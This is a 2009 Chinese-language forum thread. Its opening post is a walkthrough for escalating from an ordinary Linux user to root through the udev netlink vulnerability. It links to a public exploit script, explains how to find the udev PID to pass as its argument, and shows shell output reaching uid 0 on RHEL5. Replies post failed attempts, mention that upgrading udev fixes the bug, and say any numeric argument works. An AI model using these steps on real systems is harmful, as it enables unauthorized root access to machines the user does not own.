LINUX 普通用户提权ROOT (完整版)SHELL版首发!!!

ztj2247

1. 在LINUX目录下建立test 帐户
2.下载 a脚本 在http://milw0rm.com/exploits/8478
3.查看UDEV的PID  方法一: 先cat /proc/net/netlink
ffff810077587400 15  364    ffffffff 0        0        0000000000000000 2
ffff810037f81000 16  0      00000000 0        0        0000000000000000 2
ffff810077078400 18  0      00000000 0        0        0000000000000000 2
那个364就是 UDEV的进程,如果出现很多不知道哪一个用方法2
方法二:
另外最好通过ps aux | grep udev获取pid 为365，然后再-1，把这个参数传给A脚本
然后在test 用户的当前目录 里
按以下步骤运行
[haha@localhost ~]$ id
uid=501(haha) gid=502(haha) groups=502(haha)
[haha@localhost ~]$sh a 364
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
sh-3.1# id
uid=0(root) gid=0(root) groups=502(haha)
此时的UID 变为0了 ,test用户已经变为 ROOT用户 可以继续以下
sh-3.1# bash
[root@localhost ~]#
看!test -> ROOT 用户大变身!!

说说我的测试版本[root@localhost ~]# uname -a
Linux localhost.localdomain 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:14 EST 2007 x86_64 x86_64 x86_64 GNU/Linux

目前RH5 和UBANTU 以及DABIAN都测试通过了 但是TURBOLINUX上没有测试通过..
稍后会跟出打补丁的方法 版主=.=麻烦给加个精吧

[ 本帖最后由 ztj2247 于 2009-4-25 16:24 编辑 ]

Learning_C

我这系统测试没通过

[cpl@My ~]$ cat /proc/net/netlink
sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks
c6c42000 0   1821   00000111 0        0        00000000 2
c7ee9a00 0   0      00000000 0        0        00000000 2
c6d55e00 6   0      00000000 0        0        00000000 2
c7f0b600 10  0      00000000 0        0        00000000 2
c11dfa00 11  0      00000000 0        0        00000000 2
c5580000 15  633    00000001 0        0        00000000 2
c7ee9e00 15  0      00000000 0        0        00000000 2
c11e9a00 16  0      00000000 0        0        00000000 2
c11e9000 18  0      00000000 0        0        00000000 2
[cpl@My ~]$ sh a 633
suid.c: In function ‘main’:
suid.c:3: warning: incompatible implicit declaration of built-in function ‘execl’
sh-3.1$ id
uid=501(cpl) gid=501(cpl) groups=501(cpl)
sh-3.1$ bash
[cpl@My ~]$ id
uid=501(cpl) gid=501(cpl) groups=501(cpl)
[cpl@My ~]$ exit
exit
sh-3.1$ uname -a
Linux My 2.6.23.1-4 #1 SMP Thu Dec 13 01:16:23 EST 2007 i686 athlon i386 GNU/Linux

[ 本帖最后由 Learning_C 于 2009-4-25 16:36 编辑 ]

寂寞烈火

有意思

枫影谁用了

这个bug...升级udev就是了。。。前几天出的紧急bug

[ 本帖最后由 枫影谁用了 于 2009-4-25 17:30 编辑 ]

luyi1983

貌似 很玄乎啊。。。

枫影谁用了

另外方法也不完全，随便个用户就ok...

也不用跟什么test用户。。随便 sh a 11111111
随意数字都可以。

寂寞烈火

原帖由 枫影谁用了 于 2009-4-25 17:20 发表
这个bug...升级udev就是了。。。前天出的紧急bug

俺现在是XP用户括弧盗版滴括弧

枫影谁用了

大家用都是。。。

greendays

我的系统测试也没有通过。红帽企业版5.1的。
bash-3.1$ id
uid=5501(test) gid=5501(test) groups=5501(test)
bash-3.1$ cat /proc/net/netlink
sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks
c0c94a00 0   0      00000000 0        0        00000000 2
ed5e8000 0   2960   00000111 0        0        00000000 2
c0384200 6   0      00000000 0        0        00000000 2
c0e35600 7   0      00000000 0        0        00000000 2
ed5e1c00 9   1974   00000000 0        0        00000000 2
ed79e000 9   0      00000000 0        0        00000000 2
c07fea00 10  0      00000000 0        0        00000000 2
c0c62200 11  0      00000000 0        0        00000000 2
c0d1ac00 12  0      00000000 0        0        00000000 2
c0d94000 15  447    ffffffff 0        0        00000000 2
c0c94800 15  0      00000000 0        0        00000000 2
c0c62000 16  0      00000000 0        0        00000000 2
c03f9800 18  0      00000000 0        0        00000000 2
bash-3.1$ sh a 633
sh: a: No such file or directory
bash-3.1$ sh a 633
sh: a: No such file or directory
bash-3.1$ sh a 11111111
sh: a: No such file or directory
bash-3.1$ sh a 11111111
sh: a: No such file or directory
bash-3.1$ sh a 11111111
sh: a: No such file or directory
bash-3.1$ sh a 364
sh: a: No such file or directory
bash-3.1$ sh a 364
sh: a: No such file or directory
bash-3.1$ id
uid=5501(test) gid=5501(test) groups=5501(test)
bash-3.1$ uname -rp
2.6.18-53.el5xen athlon
bash-3.1$

枫影谁用了

要先下载这个代码存成a文件
http://milw0rm.com/exploits/8478

说啥好呢。。。。。。。。